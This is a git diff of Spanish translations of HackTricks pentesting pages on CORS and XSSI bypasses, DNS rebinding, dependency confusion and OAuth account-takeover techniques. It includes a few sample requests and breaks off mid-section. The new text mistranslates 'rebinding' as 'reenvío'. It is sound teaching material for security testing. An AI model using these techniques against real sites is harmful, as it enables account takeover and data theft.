XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de la Misma Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta de script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta de script.
|
||||
XSSI, también conocido como Inclusión de Script de Sitio Cruzado, es un tipo de vulnerabilidad que aprovecha el hecho de que la Política de la Misma Origen (SOP) no se aplica al incluir recursos utilizando la etiqueta script. Esto se debe a que los scripts deben poder incluirse desde diferentes dominios. Esta vulnerabilidad permite a un atacante acceder y leer cualquier contenido que se haya incluido utilizando la etiqueta script.
|
||||
|
||||
Esta vulnerabilidad se vuelve particularmente significativa cuando se trata de JavaScript dinámico o JSONP (JSON con Relleno), especialmente cuando se utilizan información de autoridad ambiental como cookies para la autenticación. Al solicitar un recurso de un host diferente, las cookies se incluyen, lo que las hace accesibles para el atacante.
|
||||
|
||||
|
@ -269,7 +269,7 @@ Para comprender mejor y mitigar esta vulnerabilidad, puedes utilizar el compleme
|
|||
|
||||
[**Lee más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.**](xssi-cross-site-script-inclusion.md)
|
||||
|
||||
Intenta agregar un **parámetro de `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con `Content-Type: application/javascript`, lo que eludirá la política CORS.
|
||||
Intenta agregar un **parámetro `callback`** en la solicitud. Tal vez la página estaba preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos con `Content-Type: application/javascript`, lo que eludirá la política CORS.
|
||||
|
||||
.png>)
|
||||
|
||||
|
@ -282,15 +282,15 @@ Una forma de eludir la restricción de `Access-Control-Allow-Origin` es solicita
|
|||
|
||||
### Bypass de Iframe + Popup
|
||||
|
||||
Puedes **eludir las comprobaciones CORS** como `e.origin === window.origin` al **crear un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página:
|
||||
Puedes **eludir las comprobaciones CORS** como `e.origin === window.origin` mediante **la creación de un iframe** y **desde él abrir una nueva ventana**. Más información en la siguiente página:
|
||||
|
||||
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||||
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Rebinding de DNS a través de TTL
|
||||
### Reenvío de DNS a través de TTL
|
||||
|
||||
El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad al manipular registros DNS. Así es como funciona:
|
||||
El reenvío de DNS a través de TTL es una técnica utilizada para eludir ciertas medidas de seguridad al manipular registros DNS. Así es como funciona:
|
||||
|
||||
1. El atacante crea una página web y hace que la víctima la acceda.
|
||||
2. Luego, el atacante cambia el DNS (IP) de su propio dominio para que apunte a la página web de la víctima.
|
||||
|
@ -300,17 +300,17 @@ El rebinding de DNS a través de TTL es una técnica utilizada para eludir ciert
|
|||
|
||||
Es importante tener en cuenta que los navegadores tienen mecanismos de almacenamiento en caché que pueden evitar el abuso inmediato de esta técnica, incluso con valores de TTL bajos.
|
||||
|
||||
El rebinding de DNS puede ser útil para eludir comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, lo que permite que caduque la caché.
|
||||
El reenvío de DNS puede ser útil para eludir comprobaciones explícitas de IP realizadas por la víctima o para escenarios en los que un usuario o bot permanece en la misma página durante un período prolongado, lo que permite que caduque la caché.
|
||||
|
||||
Si necesitas una forma rápida de abusar del rebinding de DNS, puedes utilizar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
Si necesitas una forma rápida de abusar del reenvío de DNS, puedes utilizar servicios como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||||
|
||||
Para ejecutar tu propio servidor de rebinding de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.ejemplo.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.ejemplo.com). Cualquier subdominio del subdominio ns.ejemplo.com será resuelto por tu host.
|
||||
Para ejecutar tu propio servidor de reenvío de DNS, puedes utilizar herramientas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Esto implica exponer tu puerto local 53/udp, crear un registro A que apunte a él (por ejemplo, ns.ejemplo.com) y crear un registro NS que apunte al subdominio A creado anteriormente (por ejemplo, ns.ejemplo.com). Cualquier subdominio del subdominio ns.ejemplo.com será resuelto por tu host.
|
||||
|
||||
También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para comprender y experimentar más.
|
||||
También puedes explorar un servidor en funcionamiento públicamente en [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para una mayor comprensión y experimentación.
|
||||
|
||||
### Rebinding de DNS a través de **Sobrecarga de Caché DNS**
|
||||
### Reenvío de DNS a través de **Sobrecarga de Caché DNS**
|
||||
|
||||
El rebinding de DNS a través de la sobrecarga de caché DNS es otra técnica utilizada para eludir el mecanismo de almacenamiento en caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:
|
||||
El reenvío de DNS a través de la sobrecarga de caché DNS es otra técnica utilizada para eludir el mecanismo de almacenamiento en caché de los navegadores y forzar una segunda solicitud DNS. Así es como funciona:
|
||||
|
||||
1. Inicialmente, cuando la víctima realiza una solicitud DNS, recibe como respuesta la dirección IP del atacante.
|
||||
2. Para eludir la defensa de almacenamiento en caché, el atacante aprovecha un trabajador de servicio. El trabajador de servicio sobrecarga la caché DNS, lo que efectivamente elimina el nombre del servidor del atacante en caché.
|
||||
|
@ -318,7 +318,7 @@ El rebinding de DNS a través de la sobrecarga de caché DNS es otra técnica ut
|
|||
|
||||
Al sobrecargar la caché DNS con el trabajador de servicio, el atacante puede manipular el proceso de resolución DNS y forzar al navegador de la víctima a realizar una segunda solicitud, que esta vez se resuelve con la dirección IP deseada por el atacante.
|
||||
|
||||
### Rebinding de DNS a través de **Caché**
|
||||
### Reenvío de DNS a través de **Caché**
|
||||
|
||||
Otra forma de eludir la defensa de almacenamiento en caché es utilizando múltiples direcciones IP para el mismo subdominio en el proveedor DNS. Así es como funciona:
|
||||
|
||||
|
@ -326,14 +326,14 @@ Otra forma de eludir la defensa de almacenamiento en caché es utilizando múlti
|
|||
2. Cuando un navegador verifica estos registros, recibe ambas direcciones IP.
|
||||
3. Si el navegador decide usar primero la dirección IP del atacante, este puede servir un payload que realice solicitudes HTTP al mismo dominio.
|
||||
4. Sin embargo, una vez que el atacante obtiene la dirección IP de la víctima, deja de responder al navegador de la víctima.
|
||||
5. Cuando el navegador de la víctima se da cuenta de que el dominio no responde, pasa a usar la segunda dirección IP proporcionada.
|
||||
5. El navegador de la víctima, al darse cuenta de que el dominio no responde, pasa a utilizar la segunda dirección IP proporcionada.
|
||||
6. Al acceder a la segunda dirección IP, el navegador elude la Política de la Misma Origen (SOP), lo que permite al atacante abusar de esto y recopilar y extraer información.
|
||||
|
||||
Esta técnica aprovecha el comportamiento de los navegadores cuando se proporcionan múltiples direcciones IP para un dominio. Al controlar estratégicamente las respuestas y manipular la elección de la dirección IP del navegador, un atacante puede explotar la SOP y acceder a la información de la víctima.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que para acceder a localhost debes intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\
|
||||
Proveedores como GoDaddy o Cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS Route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
|
||||
Proveedores como godaddy o cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
|
||||
|
||||
<img src="../.gitbook/assets/image (137).png" alt="" data-size="original">
|
||||
{% endhint %}
|
||||
|
@ -343,24 +343,24 @@ Para obtener más información, puedes consultar [https://unit42.paloaltonetwork
|
|||
|
||||
* Si **no se permiten IPs internas**, podrían **olvidar prohibir 0.0.0.0** (funciona en Linux y Mac)
|
||||
* Si **no se permiten IPs internas**, responde con un **CNAME** a **localhost** (funciona en Linux y Mac)
|
||||
* Si **no se permiten IPs internas** en respuestas DNS, puedes responder con **CNAMEs a servicios internos** como www.corporate.internal.
|
||||
* Si **no se permiten IPs internas** en respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal.
|
||||
|
||||
### Armas de Rebinding de DNS
|
||||
### Armas de Reenvío de DNS
|
||||
|
||||
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo utilizar la siguiente herramienta en la charla [Gerald Doussot - Estado de los Ataques de Rebinding de DNS y Singularidad de Origen - Conferencia DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla [Gerald Doussot - Estado de los Ataques de Reenvío de DNS y Singularidad de Origen - Conferencia DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularidad de Origen`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir payloads de ataque para explotar software vulnerable en la máquina objetivo.
|
||||
[**`Singularidad de Origen`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [reenvío de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para volver a enlazar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas útiles de ataque para explotar software vulnerable en la máquina objetivo.
|
||||
|
||||
### Protección Real contra Rebinding de DNS
|
||||
### Protección Real contra el Reenvío de DNS
|
||||
|
||||
* Utilizar TLS en servicios internos
|
||||
* Solicitar autenticación para acceder a los datos
|
||||
* Validar el encabezado Host
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para enviar siempre una solicitud de pre-vuelo cuando los servidores públicos quieran acceder a servidores internos
|
||||
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Propuesta para enviar siempre una solicitud previa cuando los servidores públicos quieran acceder a servidores internos
|
||||
|
||||
## **Herramientas**
|
||||
|
||||
**Fuzz posibles configuraciones incorrectas en las políticas CORS**
|
||||
**Buscar posibles configuraciones incorrectas en las políticas CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
|
@ -382,18 +382,18 @@ Puedes encontrar más información sobre las técnicas de bypass anteriores y c
|
|||
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
|
|
@ -2,17 +2,17 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -23,7 +23,7 @@ En resumen, una vulnerabilidad de confusión de dependencias ocurre cuando un pr
|
|||
|
||||
* **Mal escrito**: Importar **`reqests`** en lugar de `requests`
|
||||
* **Inexistente**: Importar `company-logging`, una biblioteca interna que **ya no existe**
|
||||
* **Versión no especificada**: Importar una biblioteca **interna existente** `company-requests`, pero el repositorio verifica **repositorios públicos** para ver si hay **versiones superiores**.
|
||||
* **Versión no especificada**: Importar una biblioteca **interna** **existente** `company-requests`, pero el repositorio verifica **repositorios públicos** para ver si hay **versiones superiores**.
|
||||
|
||||
## Explotación
|
||||
|
||||
|
@ -49,24 +49,24 @@ AWS solucionó esto permitiendo especificar si una biblioteca es interna o exter
|
|||
|
||||
## Encontrar Bibliotecas Vulnerables
|
||||
|
||||
En el [**post original sobre la confusión de dependencias**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) el autor buscó miles de archivos package.json expuestos que contenían las dependencias de proyectos de JavaScript.
|
||||
En el [**post original sobre la confusión de dependencias**](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610) el autor buscó miles de archivos package.json expuestos que contenían las dependencias de proyectos JavaScript.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
|
||||
* [https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d](https://zego.engineering/dependency-confusion-in-aws-codeartifact-86b9ff68963d)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de HackTricks en AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -38,8 +38,8 @@ Es esencial comprender los siguientes componentes dentro del marco de OAuth 2.0:
|
|||
- **redirect\_uri**: La **URL a la que se redirige al usuario después de la autorización**. Normalmente debe coincidir con la URL de redirección preregistrada.
|
||||
- **state**: Un parámetro para **mantener datos a través de la redirección del usuario hacia y desde el servidor de autorización**. Su singularidad es fundamental para servir como un **mecanismo de protección CSRF**.
|
||||
- **grant\_type**: Un parámetro que indica **el tipo de concesión y el tipo de token que se devolverá**.
|
||||
- **código**: El código de autorización del `servidor de autorización`, utilizado junto con `client_id` y `client_secret` por la aplicación cliente para adquirir un `token de acceso`.
|
||||
- **token de acceso**: El **token que la aplicación cliente utiliza para las solicitudes de API** en nombre del `propietario de recursos`.
|
||||
- **code**: El código de autorización del `servidor de autorización`, utilizado junto con `client_id` y `client_secret` por la aplicación cliente para adquirir un `token de acceso`.
|
||||
- **access\_token**: El **token que la aplicación cliente utiliza para las solicitudes de API** en nombre del `propietario de recursos`.
|
||||
- **refresh\_token**: Permite a la aplicación **obtener un nuevo `token de acceso` sin volver a solicitar al usuario**.
|
||||
|
||||
### Flujo
|
||||
|
@ -58,11 +58,11 @@ https://socialmedia.com/auth
|
|||
```
|
||||
3. A continuación, se te presenta una página de consentimiento.
|
||||
|
||||
4. Después de tu aprobación, la Red Social envía una respuesta a la `redirect_uri` con los parámetros `code` y `state`:
|
||||
4. Después de tu aprobación, la Red Social envía una respuesta al `redirect_uri` con los parámetros `code` y `state`:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com utiliza este `código`, junto con su `client_id` y `client_secret`, para realizar una solicitud del lado del servidor y obtener un `access_token` en tu nombre, lo que permite acceder a los permisos a los que has dado tu consentimiento:
|
||||
5. https://example.com utiliza este `código`, junto con su `client_id` y `client_secret`, para realizar una solicitud en el lado del servidor y obtener un `access_token` en tu nombre, lo que permite acceder a los permisos a los que has dado tu consentimiento:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
|
@ -74,13 +74,13 @@ Host: socialmedia.com
|
|||
|
||||
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
El `redirect_uri` es crucial para la seguridad en las implementaciones de OAuth y OpenID, ya que dirige hacia dónde se envían los datos sensibles, como códigos de autorización, después de la autorización. Si está mal configurado, podría permitir a los atacantes redirigir estas solicitudes a servidores maliciosos, lo que habilitaría la toma de control de cuentas.
|
||||
El `redirect_uri` es crucial para la seguridad en las implementaciones de OAuth y OpenID, ya que dirige hacia dónde se envían los datos sensibles, como códigos de autorización, después de la autorización. Si está mal configurado, podría permitir a los atacantes redirigir estas solicitudes a servidores maliciosos, lo que habilitaría la toma de cuentas.
|
||||
|
||||
Las técnicas de explotación varían según la lógica de validación del servidor de autorización. Pueden ir desde la coincidencia estricta de rutas hasta la aceptación de cualquier URL dentro del dominio o subdirectorio especificado. Los métodos comunes de explotación incluyen redirecciones abiertas, traversal de rutas, explotación de regex débiles e inyección de HTML para robo de tokens.
|
||||
|
||||
Además del `redirect_uri`, otros parámetros de OAuth y OpenID como `client_uri`, `policy_uri`, `tos_uri` y `initiate_login_uri` también son susceptibles a ataques de redirección. Estos parámetros son opcionales y su soporte varía entre servidores.
|
||||
|
||||
Para aquellos que apuntan a un servidor OpenID, el punto de descubrimiento (`**.well-known/openid-configuration**`) a menudo enumera detalles de configuración valiosos como `registration_endpoint`, `request_uri_parameter_supported` y "`require_request_uri_registration`. Estos detalles pueden ayudar a identificar el punto de registro y otros aspectos de configuración del servidor.
|
||||
Para aquellos que apuntan a un servidor OpenID, el punto de descubrimiento (`**.well-known/openid-configuration**`) a menudo enumera detalles de configuración valiosos como `registration_endpoint`, `request_uri_parameter_supported` y "`require_request_uri_registration`. Estos detalles pueden ayudar a identificar el punto de registro y otros detalles de configuración del servidor.
|
||||
|
||||
### XSS en la implementación de redirección <a href="#bda5" id="bda5"></a>
|
||||
|
||||
|
@ -100,20 +100,20 @@ El manejo adecuado y la validación del **parámetro `state`** son cruciales par
|
|||
|
||||
### Pre Toma de Control de Cuenta <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Sin verificación de correo electrónico en la creación de cuentas**: Los atacantes pueden crear anticipadamente una cuenta utilizando el correo electrónico de la víctima. Si la víctima luego utiliza un servicio de terceros para iniciar sesión, la aplicación podría vincular inadvertidamente esta cuenta de terceros a la cuenta precreada del atacante, lo que lleva a un acceso no autorizado.
|
||||
1. **Sin Verificación de Correo Electrónico en la Creación de la Cuenta**: Los atacantes pueden crear anticipadamente una cuenta utilizando el correo electrónico de la víctima. Si la víctima luego utiliza un servicio de terceros para iniciar sesión, la aplicación podría vincular inadvertidamente esta cuenta de terceros a la cuenta pre-creada del atacante, lo que lleva a un acceso no autorizado.
|
||||
|
||||
2. **Explotando la laxa verificación de correo electrónico de OAuth**: Los atacantes pueden explotar servicios de OAuth que no verifican correos electrónicos registrándose con su servicio y luego cambiando el correo electrónico de la cuenta al de la víctima. Este método también conlleva riesgos de acceso no autorizado a la cuenta, similar al primer escenario pero a través de un vector de ataque diferente.
|
||||
2. **Explotando la Verificación de Correo Electrónico Laxa de OAuth**: Los atacantes pueden explotar servicios de OAuth que no verifican correos electrónicos registrándose con su servicio y luego cambiando el correo electrónico de la cuenta al de la víctima. Este método también conlleva riesgos de acceso no autorizado a la cuenta, similar al primer escenario pero a través de un vector de ataque diferente.
|
||||
|
||||
### Divulgación de Secretos <a href="#e177" id="e177"></a>
|
||||
|
||||
Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** se puede divulgar de forma segura, revelar el **`client_secret`** plantea riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y la confianza de la aplicación para **robar `access_tokens`** e información privada.
|
||||
Identificar y proteger los parámetros secretos de OAuth es crucial. Mientras que el **`client_id`** se puede divulgar de forma segura, revelar el **`client_secret`** plantea riesgos significativos. Si el `client_secret` se ve comprometido, los atacantes pueden explotar la identidad y confianza de la aplicación para **robar los `access_tokens`** e información privada.
|
||||
|
||||
Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` en el lado del cliente en lugar del lado del servidor. Este error conduce a la exposición del `client_secret`, lo que permite a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de la ingeniería social, los atacantes podrían escalar privilegios agregando alcances adicionales a la autorización de OAuth, explotando aún más el estado de confianza de la aplicación.
|
||||
Una vulnerabilidad común surge cuando las aplicaciones manejan erróneamente el intercambio del `code` de autorización por un `access_token` en el lado del cliente en lugar del lado del servidor. Este error conduce a la exposición del `client_secret`, lo que permite a los atacantes generar `access_tokens` bajo la apariencia de la aplicación. Además, a través de la ingeniería social, los atacantes podrían aumentar privilegios agregando alcances adicionales a la autorización de OAuth, explotando aún más el estado de confianza de la aplicación.
|
||||
|
||||
### Fuerza Bruta del Cliente Secreto
|
||||
|
||||
Puedes intentar **fuerza bruta en el client\_secret** de un proveedor de servicios con el proveedor de identidad para intentar robar cuentas.\
|
||||
La solicitud para la FB puede ser similar a:
|
||||
Puedes intentar **fuerza bruta del `client_secret`** de un proveedor de servicios con el proveedor de identidad para intentar robar cuentas.\
|
||||
La solicitud a FB puede parecerse a:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
content-type: application/x-www-form-urlencoded
|
||||
|
@ -139,13 +139,13 @@ El **código de autorización debería existir solo por un tiempo limitado para
|
|||
|
||||
Si puedes obtener el **código de autorización y usarlo con un cliente diferente, entonces puedes tomar el control de otras cuentas**.
|
||||
|
||||
### Rutas Felices, XSS, Iframes y Mensajes Post para filtrar códigos y valores de estado
|
||||
### Rutas Felices, XSS, Iframes y Mensajes POST para filtrar códigos y valores de estado
|
||||
|
||||
**[Revisa este post](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
**[Revisa esta publicación](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
En este informe de recompensa por errores: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) puedes ver que el **token** que **AWS Cognito** devuelve al usuario podría tener **suficientes permisos para sobrescribir los datos del usuario**. Por lo tanto, si puedes **cambiar el correo electrónico del usuario por un correo electrónico de otro usuario**, podrías **apoderarte** de otras cuentas.
|
||||
